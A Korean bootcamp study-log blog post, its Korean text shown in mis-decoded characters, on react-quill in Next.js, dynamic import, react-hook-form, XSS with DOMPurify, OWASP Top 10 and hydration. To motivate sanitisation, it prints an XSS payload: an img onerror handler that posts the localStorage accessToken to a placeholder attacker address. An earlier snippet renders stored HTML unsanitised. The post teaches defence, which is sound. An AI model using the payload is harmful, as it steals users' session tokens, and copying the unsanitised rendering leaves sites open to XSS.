โœ๐Ÿป [Code Camp_TIL] 28์ผ์ฐจ: ์›น ์—๋””ํ„ฐ(react-quill), dynamic import, XSS, dompurify, OWASP

code_Jยท2023๋…„ 4์›” 23์ผ
0

TIL

๋ชฉ๋ก ๋ณด๊ธฐ
34/41
post-thumbnail

์›น ์—๋””ํ„ฐ


textarea ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋‚ด์šฉ์„ ์ž…๋ ฅํ•  ๋•Œ ์ค„ ๋ฐ”๊ฟˆํ•œ ๊ฒŒ ๋ธŒ๋ผ์šฐ์ € ์ƒ์—๋Š” ํ•œ ์ค„๋กœ ๋‚˜์˜จ๋‹ค. ๋˜ํ•œ, ์ž‘์„ฑ์ž๊ฐ€ ๋ณผ๋“œ, ๊ธฐ์šธ์ž„, ์ƒ‰์ƒ ์ถ”๊ฐ€ ๋“ฑ์˜ ์Šคํƒ€์ผ ์ง€์ •์„ ํ•˜๊ณ  ์‹ถ์„ ์ˆ˜๋„ ์žˆ๋‹ค.

์ด๋Ÿฌํ•œ ์ ์„ ์ถฉ์กฑ์‹œ์ผœ์ค„ ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์ด ์›น ์—๋””ํ„ฐ๋‹ค!


์›น ์—๋””ํ„ฐ ์ข…๋ฅ˜

์ฐพ์•„๋ณด๋ฉด React quill, React Draft Wysiwyg, TOAST UI Editor ๋“ฑ ์›น ์—๋””ํ„ฐ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ๋งŽ์ด ์žˆ๋‹ค. ๊ทธ ์ค‘ ์‚ฌ์šฉ์ž๊ฐ€ ๋” ๋งŽ์€ npm์—์„œ react-quill์„ ์‚ฌ์šฉํ•ด๋ณด์•˜๋‹ค.


react-quill ์‚ฌ์šฉ๋ฐฉ๋ฒ•

1. react-quill ์„ค์น˜

yarn add react-quill


2. ReactQuill ํ˜ธ์ถœ

์›น ์—๋””ํ„ฐ๋ฅผ ์ถ”๊ฐ€ํ•  ํŽ˜์ด์ง€ ์ƒ๋‹จ์— ReactQuill์„ ํ˜ธ์ถœํ•˜๊ณ , ReactQuill์—์„œ ์‚ฌ์šฉ๋  ์Šคํƒ€์ผ CSS ํŒŒ์ผ๋„ ํ˜ธ์ถœํ•ด์ค€๋‹ค.

import ReactQuill from 'react-quill';
import 'react-quill/dist/quill.snow.css';

3. ReactQuill ์ž…๋ ฅ

 return (
    <form onSubmit={wrapFormAsync(onClickSubmit)}>
      ์ž‘์„ฑ์ž: <input type="text" />
      <br />
      ๋น„๋ฐ€๋ฒˆํ˜ธ: <input type="password" />
      <br />
      ์ œ๋ชฉ: <input type="text" />
      <br />
      ๋‚ด์šฉ: <ReactQuill onChange={onChangeContents} />
      {/* html์—์„œ์˜ onChange์™€ ๋‹ค๋ฅด๋‹ค! */}
      <button>๋“ฑ๋กํ•˜๊ธฐ</button>
    </form>
  );
}
์ฃผ์˜! ReactQuil์˜ onChange๋Š” ๊ฐœ๋ฐœ์ž๊ฐ€ ๋งŒ๋“ค์–ด ๋†“์€ ์ปค์Šคํ…€ ์š”์†Œ์ด๋‹ค. JSX์˜ onChange์™€๋Š” ๋‹ค๋ฅด๋‹ค!

Dynamic Import

์œ„์—์„œ react quill์„ ์ ์šฉํ•œ ์ƒํƒœ๋กœ ๋ธŒ๋ผ์šฐ์ €์— ์ ‘์†ํ•ด๋ณด๋ฉด document is not defined๋ผ๋Š” ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค. next.js๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋‹ค๋ฉด ์ด์™€ ๊ฐ™์€ ์—๋Ÿฌ๋Š” ์ •์ƒ์ ์ธ ์—๋Ÿฌ๋‹ค.

next.js๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ์„œ๋ฒ„์‚ฌ์ด๋“œ ๋ Œ๋”๋ง์„ ์ง€์›ํ•˜๋Š”๋ฐ, ์„œ๋ฒ„์—์„œ ํŽ˜์ด์ง€๋ฅผ ๋ฏธ๋ฆฌ ๋ Œ๋”๋งํ•˜๋Š” ๋‹จ๊ณ„์—์„œ๋Š” ๋ธŒ๋ผ์šฐ์ € ์ƒ์ด ์•„๋‹ˆ๊ธฐ ๋•Œ๋ฌธ์— window๋‚˜ document๊ฐ€ ์กด์žฌํ•˜์ง€ ์•Š๋Š”๋‹ค. window ๋˜๋Š” document object๋ฅผ ์„ ์–ธํ•˜๊ธฐ ์ „์ด์—ฌ์„œ document๊ฐ€ ์ •์˜๋˜์ง€ ์•Š์•˜๋‹ค๊ณ  ์—๋Ÿฌ๊ฐ€ ๋œจ๋Š” ๊ฒƒ์ด๋‹ค.

๋”ฐ๋ผ์„œ ์—๋Ÿฌ๋ฅผ ํ•ด๊ฒฐํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” document ์„ ์–ธ์„ ๋จผ์ € ํ•ด์ฃผ๊ณ  ๋‚˜์„œ react-quill์„ importํ•ด์•ผ ํ•œ๋‹ค!


dynamic import๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด, ํ•ด๋‹น ๋ชจ๋“ˆ์„ document ์„ ์–ธ ์ดํ›„์— import๋˜๋„๋ก ํ•  ์ˆ˜ ์žˆ๋‹ค.

// import ReactQuill from 'react-quill'; 
import dynamic from "next/dynamic";

const ReactQuill = dynamic(async () => await import("react-quill"), {
  ssr: false,
});

dynamic import๋Š” ssr ์ด์Šˆ ํ•ด๊ฒฐ ๋ฟ ์•„๋‹ˆ๋ผ ์„ฑ๋Šฅ์ตœ์ ํ™”์—๋„ ๊ธฐ์—ฌํ•œ๋‹ค. ์ฒ˜์Œ ํŽ˜์ด์ง€์— ์ ‘์†ํ•  ๋•Œ ๊ผญ ๋‹ค์šด๋ฐ›์•„์•ผ ํ•˜๋Š” ๋ถ€๋ถ„์ด ์•„๋‹ˆ๋ผ๋ฉด dynamic import๋ฅผ ์‚ฌ์šฉํ•ด์„œ ํ•„์š”ํ•œ ์‹œ์ ์— ๋‹ค์šด ๋ฐ›์•„ ์˜ฌ ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋ฉด ์ดˆ๊ธฐ ๋กœ๋”ฉ์†๋„๊ฐ€ ๋นจ๋ผ์ง„๋‹ค!

์ด๋ ‡๊ฒŒ ํ•„์š”ํ•œ ์‹œ์ ์— import ํ•ด์˜ฌ ์ˆ˜ ์žˆ๋„๋ก ๋„์™€์ฃผ๋Š” ๊ฒƒ์„ code-splitting์ด๋ผ๊ณ  ํ•œ๋‹ค.



์›น ์—๋””ํ„ฐ์™€ react-hook-form ์—ฐ๋™


์œ„์—์„œ ๋งŒ๋“ค์—ˆ๋˜ ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ useForm์„ import ํ•ด์ฃผ์—ˆ๋‹ค.

import { useForm } from "react-hook-form";
import "react-quill/dist/quill.snow.css";
import dynamic from "next/dynamic";

const ReactQuill = dynamic(() => import("react-quill"), { ssr: false });

export default function WebEditorPage() {
  const { register } = useForm({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);
  };

  return (
    <div>
      ์ž‘์„ฑ์ž: <input type="text" {...register("writer")} />
      <br />
      ๋น„๋ฐ€๋ฒˆํ˜ธ: <input type="password" {...register("password")} />
      <br />
      ์ œ๋ชฉ: <input type="text" {...register("title")} />
      <br />
      ๋‚ด์šฉ: <ReactQuill onChange={handleChange} />
      <br />
      <button>๋“ฑ๋กํ•˜๊ธฐ</button>
    </div>
  );
}

์—ฌ๊ธฐ์„œ ๋‚ด์šฉ์— ํ•ด๋‹นํ•˜๋Š” ReactQuill ์ปดํฌ๋„ŒํŠธ์—๋Š” register๊ฐ€ ์ ์šฉ๋˜์ง€ ์•Š๋Š”๋‹ค. ์–ด๋–ป๊ฒŒ ํ•˜๋ฉด useForm์ด contents์— ์ž…๋ ฅ๋œ ๋ฐ์ดํ„ฐ๊นŒ์ง€ ์ธ์‹ํ•˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์„๊นŒ?

setValue๋ฅผ ์‚ฌ์šฉํ•ด์„œ contents์— ๊ฐ•์ œ๋กœ ๊ฐ’์„ ๋„ฃ์–ด์ฃผ๋ฉด ๋œ๋‹ค!

const { register, setValue} = useForm({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);

    // register๋กœ ๋“ฑ๋กํ•˜์ง€ ์•Š๊ณ , ๊ฐ•์ œ๋กœ ๊ฐ’์„ ๋„ฃ์–ด์ฃผ๋Š” ๊ธฐ๋Šฅ
    setValue("contents", value);
  };

๋˜ ๋‹ค๋ฅธ ๋ฌธ์ œ๋Š”, contents์— ๊ฐ’์„ ์ž…๋ ฅํ–ˆ๋‹ค๊ฐ€ ์ง€์šฐ๋ฉด, br ํƒœ๊ทธ๊ฐ€ ๋‚จ๋Š”๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.


๋‹ค์Œ์€ "์•ˆ๋…•"์„ ์ž…๋ ฅํ–ˆ๋‹ค๊ฐ€ ์ง€์šด ๊ณผ์ •์ด๋‹ค.

์ด ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š”, ์‚ผํ•ญ์—ฐ์‚ฐ์ž๋ฅผ ์‚ฌ์šฉํ•ด์„œ ๋นˆ๊ฐ’์œผ๋กœ ์ฒ˜๋ฆฌ๋˜๋„๋ก ํ•ด์ฃผ๋ฉด ๋œ๋‹ค.

const handleChange = (value: string) => {
    console.log(value);
    setValue("contents", value === "<p><br></p>" ? "" : value);
  };

ํ•˜์ง€๋งŒ ๊ฐ’์ด ๋ณ€๊ฒฝ๋˜์—ˆ์„ ๋ฟ, contents์˜ ์ž…๋ ฅ ์—ฌ๋ถ€๋Š” ๊ฒ€์ฆํ•  ์ˆ˜ ์—†๋‹ค. ์ด๋Ÿด ๋•Œ์—๋Š” trigger๋ฅผ ์‚ฌ์šฉํ•ด์„œ onChange ์—ฌ๋ถ€๋ฅผ ๊ฐ•์ œ๋กœ ๋ณ€๊ฒฝํ•ด์ฃผ๋ฉด ๋œ๋‹ค.

const { register, setValue, trigger } = useForm({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);
    setValue("contents", value === "<p><br></p>" ? "" : value);
    
    // onChange๊ฐ€ ๋๋Š”์ง€ ์•ˆ๋๋Š”์ง€ react-hook-form์— ์•Œ๋ ค์ฃผ๋Š” ๊ธฐ๋Šฅ
    trigger("contents");
  };

์ด์ œ JSX ๋ถ€๋ถ„์—์„œ form์œผ๋กœ ํƒœ๊ทธ๋“ค์„ ๊ฐ์‹ธ๊ณ , onSubmit ์š”์†Œ๋ฅผ ๋”ํ•ด์ค€๋‹ค.

return (
    <form onSubmit={}>
      ์ž‘์„ฑ์ž: <input type="text" {...register("writer")} />
      <br />
      ๋น„๋ฐ€๋ฒˆํ˜ธ: <input type="password" {...register("password")} />
      <br />
      ์ œ๋ชฉ: <input type="text" {...register("title")} />
      <br />
      ๋‚ด์šฉ: <ReactQuill onChange={handleChange} />
      <br />
      <button>๋“ฑ๋กํ•˜๊ธฐ</button>
    </form>
  );

๊ทธ ํ›„์— handleSubmit์„ ์ด์šฉํ•ด์„œ ๋ฒ„ํŠผ ํด๋ฆญ์‹œ ์‹คํ–‰ํ•  ํ•จ์ˆ˜๋ฅผ onSubmit์— ๋„ฃ๋Š”๋‹ค.

// ์ˆ˜์ •ํ•  ๋ถ€๋ถ„

const { register, handleSubmit, setValue, trigger } = useForm<IFormValues>({
    mode: "onChange",
  });

const onClickSubmit = (data: IFormValues) => {
		// form submit์‹œ ์‹คํ–‰ํ•  ํ•จ์ˆ˜
  };

  return (
    <form onSubmit={handleSubmit(onClickSubmit)}>
      ์ž‘์„ฑ์ž: <input type="text" {...register("writer")} />
      <br />
      ๋น„๋ฐ€๋ฒˆํ˜ธ: <input type="password" {...register("password")} />
      <br />
      ์ œ๋ชฉ: <input type="text" {...register("title")} />
      <br />
      ๋‚ด์šฉ: <ReactQuill onChange={handleChange} />
      <br />
      <button>๋“ฑ๋กํ•˜๊ธฐ</button>
    </form>
  );

์ด์ œ onClickSubmit ํ•จ์ˆ˜ ์•ˆ์— createBoard api ์š”์ฒญ ์ฝ”๋“œ๋ฅผ ๋„ฃ๊ณ , ์š”์ฒญ ์„ฑ๊ณต ์‹œ ํ•ด๋‹น ๊ฒŒ์‹œ๊ธ€์˜ ์ƒ์„ธ ํŽ˜์ด์ง€๋กœ ์ด๋™ํ•˜๋„๋ก ๋‹ค์ด๋‚˜๋ฏน ๋ผ์šฐํŒ…์„ ํ•ด์ฃผ๋ฉด ๋œ๋‹ค.


ํ•˜์ง€๋งŒ ๋˜ ๋‹ค์‹œ ๋ฐœ์ƒํ•˜๋Š” ์—๋Ÿฌ..

์ƒ์„ธํŽ˜์ด์ง€๋กœ ์ด๋™ํ–ˆ์„ ๋•Œ, reactquill ๋ถ€๋ถ„์˜ ๋ฐ์ดํ„ฐ์— HTML ํƒœ๊ทธ๊ฐ€ ํฌํ•จ๋˜์–ด ๋ธŒ๋ผ์šฐ์ €์— ๋‚˜ํƒ€๋‚œ๋‹ค. ์šฐ๋ฆฌ๋Š” HTML ํƒœ๊ทธ๋ฅผ ๋…ธ์ถœํ•˜์ง€ ์•Š์œผ๋ฉด์„œ HTML ๊ธฐ๋Šฅ๋งŒ ์ ์šฉ๋œ ํ˜•ํƒœ๋กœ ํ™”๋ฉด์— ์ถœ๋ ฅํ•ด์•ผ ํ•œ๋‹ค.

ํ•˜์ง€๋งŒ react์—์„œ๋Š” HTML ๋ณด์•ˆ ์ด์Šˆ๋กœ ์ธํ•ด HTML ํƒœ๊ทธ๋ฅผ ์ง์ ‘ ์‚ฝ์ž…ํ•  ์ˆ˜ ์—†๊ฒŒ ์„ค์ •ํ•ด๋†“์•˜๋‹ค.


๊ทธ๋Ÿผ์—๋„ HTML ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉํ•˜๊ณ ์ž ํ•œ๋‹ค๋ฉด, ์•„๋ž˜์™€ ๊ฐ™์€ ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋œ๋‹ค!

<div dangerouslySetInnerHTML={{ __html :  HTML ํƒœ๊ทธ ์ถ”๊ฐ€  }} />

dangerouslySetInnerHTML์€ div ๋˜๋Š” span ํƒœ๊ทธ์— ์ œ๊ณต๋˜๋Š” ์†์„ฑ์ด๋‹ค. ๋”ฐ๋ผ์„œ ์ด๋ฅผ ์ ์šฉํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

return (
    <div>
      <div>์ž‘์„ฑ์ž: {data?.fetchBoard.writer}</div>
      <div>์ œ๋ชฉ: {data?.fetchBoard.title}</div>
      // dangerouslySetInnerHTML: self-closing tag๋กœ ์ž‘์„ฑ
      <div dangerouslySetInnerHTML={{ __html: String(data?.fetchBoard.contents)}} />
    </div>
  );



์›น ์—๋””ํ„ฐ xss(cross site script)


์ง€๊ธˆ๊นŒ์ง€ ๊ฒŒ์‹œ๊ธ€ ๋“ฑ๋กํ•˜๊ธฐ์— ์›น ์—๋””ํ„ฐ๋ฅผ ์ ์šฉํ•ด๋ณด์•˜๋Š”๋ฐ, ๊ทธ ๊ณผ์ •์—์„œ xss ๊ณต๊ฒฉ์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋‹ค.

XSS๋Š” Cross Site Script์˜ ์•ฝ์ž๋กœ, ๋‹ค๋ฅธ ์‚ฌ์ดํŠธ์˜ ์ทจ์•ฝ์ ์„ ๋…ธ๋ ค์„œ Javascript์™€ HTML๋กœ ์•…์˜์ ์ธ ์ฝ”๋“œ๋ฅผ ์›น ๋ธŒ๋ผ์šฐ์ €์— ์‹ฌ๊ณ  ์‚ฌ์šฉ์ž ์ ‘์† ์‹œ ์•…์„ฑ ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜๋„๋ก ํ•˜๋Š” ๊ฒƒ์ด๋‹ค.


ํ•œ ์˜ˆ๋กœ, ์ด๋ฏธ์ง€ ํƒœ๊ทธ์— ์ •์ƒ์ ์ด์ง€ ์•Š์€ ๊ฐ’์„ ๋„ฃ๊ณ , onerror ์†์„ฑ์„ ๋”ํ•ด์„œ ํ•ด๋‹น ํƒœ๊ทธ๋ฅผ dangerouslySetInnerHTML ์†์„ฑ์„ ํ†ตํ•ด ๋ถˆ๋Ÿฌ์™”์„ ๋•Œ ์‚ฌ์šฉ์ž์˜ ์ •๋ณด๋ฅผ ๋นผ๋‚ด๋Š” script๊ฐ€ ์‹คํ–‰๋˜๋„๋ก ํ•  ์ˆ˜ ์žˆ๋‹ค.

<img src="#" onerror="
	const aaa = localStorage.getItem('accessToken');
	axios.post(ํ•ด์ปคAPI์ฃผ์†Œ, {accessToken = aaa});
" />

์œ„์™€ ๊ฐ™์ด ์ ์–ด์ฃผ๋ฉด, localStorage ๋‚ด์˜ ์‚ฌ์šฉ์ž์˜ accessToken์„ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ๋‹ค.

์ด๋Ÿฌํ•œ ๊ณต๊ฒฉ๋“ค์„ ๋ฐฉ์–ดํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ๊ณต๊ฒฉ ์ฝ”๋“œ๋ฅผ ์ž๋™์œผ๋กœ ์ฐจ๋‹จํ•ด์ฃผ๋Š” DOMPurify๋ผ๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•ด์ฃผ๋ฉด ์ข‹๋‹ค.

์„ค์น˜ ์ฝ”๋“œ

yarn add dompurify
yarn add -D @types/dompurify


์•„๊นŒ dangerouslySetInnerHTML ์†์„ฑ์„ ๋ถ€์—ฌํ•œ ๊ณณ์— Dompurify๋ฅผ ์ ์šฉํ•˜๋ฉด ๋œ๋‹ค.

<div
	dangerouslySetInnerHTML={{
		__html: Dompurify.sanitize(String(data?.fetchBoard.contents))
	}}
/>

์•„๋งˆ ์ €๋ ‡๊ฒŒ ์ ์œผ๋ฉด ์„œ๋ฒ„์‚ฌ์ด๋“œ ๋ Œ๋”๋ง ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•  ๊ฒƒ์ด๋‹ค. ์—๋Ÿฌ ํ•ด๊ฒฐ์„ ์œ„ํ•ด์„œ๋Š” ์กฐ๊ฑด๋ถ€ ๋ Œ๋”๋ง์„ ์ถ”๊ฐ€ํ•ด์ฃผ๋ฉด ๋œ๋‹ค.

{process.browser &&
	<div
		dangerouslySetInnerHTML={{
			__html: Dompurify.sanitize(String(data?.fetchBoard.contents))
		}}
	/>
}



OWASP TOP 10


XSS์ฒ˜๋Ÿผ ์›น์—๋Š” ์—ฌ๋Ÿฌ ์ข…๋ฅ˜์˜ ๊ณต๊ฒฉ๋“ค์ด ์žˆ๋‹ค. OWASP๋Š” Open Web Application Security Project์˜ ์•ฝ์ž๋กœ ์ž์ฃผ ๋ฐœ์ƒํ•˜๋Š” ๊ณต๊ฒฉ๋“ค์„ 3-4๋…„์— ํ•œ๋ฒˆ์”ฉ ์—…๋ฐ์ดํŠธํ•ด์ฃผ๋Š” ์‚ฌ์ดํŠธ๋‹ค.

์ตœ๊ทผ 2021๋…„์— ์—…๋ฐ์ดํŠธ ๋˜์—ˆ๊ณ , ๋ฆฌ์ŠคํŠธ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

A01 : Broken Access Control (์ ‘๊ทผ ๊ถŒํ•œ ์ทจ์•ฝ์ )
A02 : Cryptographic Failures (์•”ํ˜ธํ™” ์˜ค๋ฅ˜)
A03: Injection (์ธ์ ์…˜)
A04: Insecure Design (์•ˆ์ „ํ•˜์ง€ ์•Š์€ ์„ค๊ณ„)
A05: Security Misconfiguration (๋ณด์•ˆ์„ค์ •์˜ค๋ฅ˜)
A06: Vulnerable and Outdated Components (์ทจ์•ฝํ•˜๊ณ  ์˜ค๋ž˜๋œ ์š”์†Œ)
A07: Identification and Authentication Failures (์‹๋ณ„ ๋ฐ ์ธ์ฆ ์˜ค๋ฅ˜)
A08: Software and Data Integrity Failures(์†Œํ”„ํŠธ์›จ์–ด ๋ฐ ๋ฐ์ดํ„ฐ ๋ฌด๊ฒฐ์„ฑ ์˜ค๋ฅ˜)
A09: Security Logging and Monitoring Failures (๋ณด์•ˆ ๋กœ๊น… ๋ฐ ๋ชจ๋‹ˆํ„ฐ๋ง ์‹คํŒจ)
A10: Server-Side Request Forgery (์„œ๋ฒ„ ์ธก ์š”์ฒญ ์œ„์กฐ)


Hydration ์ด์Šˆ


return (
	<div>
    <div style={{color: "red"}}>์ž‘์„ฑ์ž: {data?.fetchBoard.writer}</div>
    {process.browser && (
			<div style={{color: "green"}}>์ œ๋ชฉ: {data?.fetchBoard.title}</div>
		)}
    <div style={{color: "blue"}}>๋‚ด์šฉ: ๋ฐ˜๊ฐ‘์Šต๋‹ˆ๋‹ค!<div>
  </div>
)

์œ„์˜ ์ฝ”๋“œ๊ฐ€ ๋ Œ๋”๋ง๋œ ํ™”๋ฉด์„ ๋ณด๋ฉด ์ œ๋ชฉ ๋ถ€๋ถ„์˜ ์ƒ‰๊น”์ด ๋‚ด์šฉ๊ณผ ๊ฐ™์ด ํŒŒ๋ž€์ƒ‰์ธ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ๋ฐ”๋กœ Hydration Issue ๋•Œ๋ฌธ์— CSS๊ฐ€ ์ ์šฉ๋˜์ง€ ์•Š์€ ๊ฒƒ์ด๋‹ค. ์™œ ๊ทธ๋Ÿฐ ๊ฑธ๊นŒ?


React ์„œ๋ฒ„๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ Œ๋”๋ง์„ ํ•œ๋‹ค.


๋ฐ˜๋ฉด, Next ์„œ๋ฒ„๋Š” ์•„๋ž˜์™€ ๊ฐ™์€ ๊ณผ์ •์„ ํ†ตํ•ด ํŽ˜์ด์ง€๋ฅผ ๊ทธ๋ฆฐ๋‹ค.

๋ณด๋‹ค ์ž์„ธํ•œ ๊ณผ์ •์€ ์•„๋ž˜์™€ ๊ฐ™๋‹ค.


Next.js๋„ React์ฒ˜๋Ÿผ SPA๋‹ค. ๋‹ค๋งŒ, ๋ฆฌ์•กํŠธ์™€ ๋‹ค๋ฅด๊ฒŒ ๋ชจ๋“  ํŽ˜์ด์ง€์—์„œ ๊ณตํ†ต์œผ๋กœ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ๋“ค์„ ๋ฏธ๋ฆฌ ํ•œ๋ฒˆ์— ๋ฐ›์•„์˜จ๋‹ค. ๋”ฐ๋ผ์„œ Next.js๋Š” ๋ธŒ๋ผ์šฐ์ €์— ๋ณด์—ฌ์ง€๊ธฐ๊นŒ์ง€ ๊ฑธ๋ฆฌ๋Š” ์‹œ๊ฐ„(TTV)์ด ๋น ๋ฅด๋‹ค.

diffing ๋‹จ๊ณ„์—์„œ ํƒœ๊ทธ๋ฅผ ๊ธฐ์ค€์œผ๋กœ ๋น„๊ตํ•˜๊ธฐ ๋•Œ๋ฌธ์— ํ”„๋ก ํŠธ์—”๋“œ ์„œ๋ฒ„์—์„œ ํ”„๋ฆฌ๋ Œ๋”๋ง๋œ ๊ฒฐ๊ณผ๋ฌผ๊ณผ ๋ธŒ๋ผ์šฐ์ €์—์„œ ๊ทธ๋ ค์ง„ ๊ฒฐ๊ณผ๋ฌผ์˜ ํƒœ๊ทธ ๊ตฌ์กฐ๊ฐ€ ๋‹ค๋ฅด๋ฉด CSS๊ฐ€ ์ฝ”๋“œ์™€ ๋‹ค๋ฅด๊ฒŒ ์ ์šฉ๋œ๋‹ค.

๋”ฐ๋ผ์„œ ๋ธŒ๋ผ์šฐ์ €์—์„œ๋งŒ ๋ Œ๋”๋ง๋˜๋Š” ํƒœ๊ทธ๊ฐ€ ์žˆ์„ ๊ฒฝ์šฐ, ์‚ผํ•ญ์—ฐ์‚ฐ์ž๋ฅผ ์‚ฌ์šฉํ•ด์„œ ํ”„๋ก ํŠธ์—”๋“œ ์„œ๋ฒ„์—์„œ๋„ ๋นˆ ํƒœ๊ทธ๊ฐ€ ๋“ค์–ด๊ฐ€ ์žˆ๋„๋ก ํ•ด์ค˜์•ผ ํ•œ๋‹ค!
return (
	<div>
    <div style={{color: "red"}}>์ž‘์„ฑ์ž: {data?.fetchBoard.writer}</div>
    {process.browser ? (
			<div style={{color: "green"}}>์ œ๋ชฉ: {data?.fetchBoard.title}</div>
		) : (
			<div style={{color: "green"}} />
		)}
    <div style={{color: "blue"}}>๋‚ด์šฉ: ๋ฐ˜๊ฐ‘์Šต๋‹ˆ๋‹ค!<div>
  </div>
)


profile
Web FE ๊ฐœ๋ฐœ์ž ์ทจ์ค€์ƒ

0๊ฐœ์˜ ๋Œ“๊ธ€